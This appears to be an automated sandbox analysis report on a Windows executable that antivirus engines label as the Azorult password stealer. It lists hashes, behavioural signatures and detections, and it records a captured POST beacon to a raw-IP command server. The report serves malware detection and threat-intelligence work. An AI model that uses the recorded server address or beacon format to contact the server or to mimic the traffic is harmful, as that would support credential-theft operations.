dfiuwejksdadfjhewkjsaq_exe_2019-07-09_18_30.txt

* MalFamily: ""

* MalScore: 10.0

* File Name: "dfiuwejksdadfjhewkjsaq.exe"
* File Size: 328704
* File Type: "PE32 executable (GUI) Intel 80386, for MS Windows"
* SHA256: "e4950e2a7688de5be0e128c4d778a39c92bc094463c04b356da6e4be9e2ea61d"
* MD5: "0c14bbe45fd506a9cfd4ae43455ad996"
* SHA1: "f3a468d3f91745dd5706c85f0cf57485804644de"
* SHA512: "b050edc75422577df4a29da5a2c453484aa2c6b604698a0bd864ccf1d70766f482e0ee5484c1b2101b7284dffddad453accf63f5b8f137c00c341cb0afb1ca85"
* CRC32: "7748F083"
* SSDEEP: "6144:VBQTLdd8yYFqGMMFXUTHpymMqOQNIfn9G3:7QndixlMK0pymMjfnk"

* Process Execution:
    "dfiuwejksdadfjhewkjsaq.exe"


* Executed Commands:

* Signatures Detected:

        "Description": "Creates RWX memory",
        "Details":


        "Description": "Possible date expiration check, exits too soon after checking local time",
        "Details":

                "process": "dfiuwejksdadfjhewkjsaq.exe, PID 1892"




        "Description": "HTTP traffic contains suspicious features which may be indicative of malware related traffic",
        "Details":

                "post_no_referer": "HTTP traffic contains a POST request with no referer header"


                "ip_hostname": "HTTP connection was made to an IP address rather than domain name"


                "suspicious_request": "http://92.63.192.125/index.php"




        "Description": "Performs some HTTP requests",
        "Details":

                "url": "http://92.63.192.125/index.php"




        "Description": "Attempts to repeatedly call a single API many times in order to delay analysis time",
        "Details":

                "Spam": "dfiuwejksdadfjhewkjsaq.exe (1892) called API GlobalMemoryStatus 416539 times"




        "Description": "File has been identified by 32 Antiviruses on VirusTotal as malicious",
        "Details":

                "MicroWorld-eScan": "Trojan.GenericKD.41444629"


                "FireEye": "Generic.mg.0c14bbe45fd506a9"


                "McAfee": "Artemis!0C14BBE45FD5"


                "Cylance": "Unsafe"


                "BitDefender": "Trojan.GenericKD.41444629"


                "Invincea": "heuristic"


                "Symantec": "Infostealer.Rultazo"


                "APEX": "Malicious"


                "Kaspersky": "Trojan-PSW.Win32.Azorult.xft"


                "Endgame": "malicious (high confidence)"


                "DrWeb": "Trojan.PWS.Siggen2.21733"


                "McAfee-GW-Edition": "BehavesLike.Win32.MultiPlug.fh"


                "Emsisoft": "Trojan.GenericKD.41444629 (B)"


                "SentinelOne": "DFI - Malicious PE"


                "Webroot": "W32.Trojan.Gen"


                "Fortinet": "W32/Kryptik.GULP!tr"


                "Arcabit": "Trojan.Generic.D2786515"


                "SUPERAntiSpyware": "Trojan.Agent/Gen-Dropper"


                "ZoneAlarm": "Trojan-PSW.Win32.Azorult.xft"


                "Microsoft": "Trojan:Win32/Wacatac.B!ml"


                "Acronis": "suspicious"


                "MAX": "malware (ai score=81)"


                "Ad-Aware": "Trojan.GenericKD.41444629"


                "Malwarebytes": "Trojan.MalPack.GS"


                "ESET-NOD32": "a variant of Win32/Kryptik.GULW"


                "Rising": "Trojan.Wacatac!8.10C01/N3#95% (RDM+:cmRtazq4aL1bxmadXwMQn6yMGcPt)"


                "eGambit": "Unsafe.AI_Score_80%"


                "GData": "Trojan.GenericKD.41444629"


                "AVG": "FileRepMalware"


                "Paloalto": "generic.ml"


                "CrowdStrike": "win/malicious_confidence_70% (D)"


                "Qihoo-360": "HEUR/QVM10.1.6803.Malware.Gen"




        "Description": "Collects information to fingerprint the system",
        "Details":


        "Description": "Anomalous binary characteristics",
        "Details":

                "anomaly": "Found duplicated section names"





* Started Service:

* Mutexes:
    "A81FB8C60-BBE6E186-FC9B5DB5-36DA4559-33946726"


* Modified Files:

* Deleted Files:

* Modified Registry Keys:

* Deleted Registry Keys:

* DNS Communications:

* Domains:

* Network Communication - ICMP:

* Network Communication - HTTP:

        "count": 1,
        "body": "\\x00\\x00\\x00&f\\x96&f\\x9fE\\x17\\x8b0m\\xed&f\\x98&f\\x9e&g\\xeaA\\x17\\xeb&f\\x98Fp\\x9d2p\\x9d;p\\x9d5p\\x9cG\\x13\\xed&f\\x97Ap\\x9d6\\x11\\xec&f\\x9b&g\\xea&f\\x9d&f\\x98G\\x14\\x8b0a\\x8b0`\\x8b0`\\x8b0l\\x8b1\\x11\\x8b0f\\x8b0f\\x8b0l\\x8b0a\\x8b0c\\x8b0b\\x8b0g\\x8b0c",
        "uri": "http://92.63.192.125/index.php",
        "user-agent": "Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1)",
        "method": "POST",
        "host": "92.63.192.125",
        "version": "1.1",
        "path": "/index.php",
        "data": "POST /index.php HTTP/1.1\r\nUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1)\r\nHost: 92.63.192.125\r\nContent-Length: 107\r\nCache-Control: no-cache\r\n\r\n\\x00\\x00\\x00&f\\x96&f\\x9fE\\x17\\x8b0m\\xed&f\\x98&f\\x9e&g\\xeaA\\x17\\xeb&f\\x98Fp\\x9d2p\\x9d;p\\x9d5p\\x9cG\\x13\\xed&f\\x97Ap\\x9d6\\x11\\xec&f\\x9b&g\\xea&f\\x9d&f\\x98G\\x14\\x8b0a\\x8b0`\\x8b0`\\x8b0l\\x8b1\\x11\\x8b0f\\x8b0f\\x8b0l\\x8b0a\\x8b0c\\x8b0b\\x8b0g\\x8b0c",
        "port": 80



* Network Communication - SMTP:

* Network Communication - Hosts:

* Network Communication - IRC: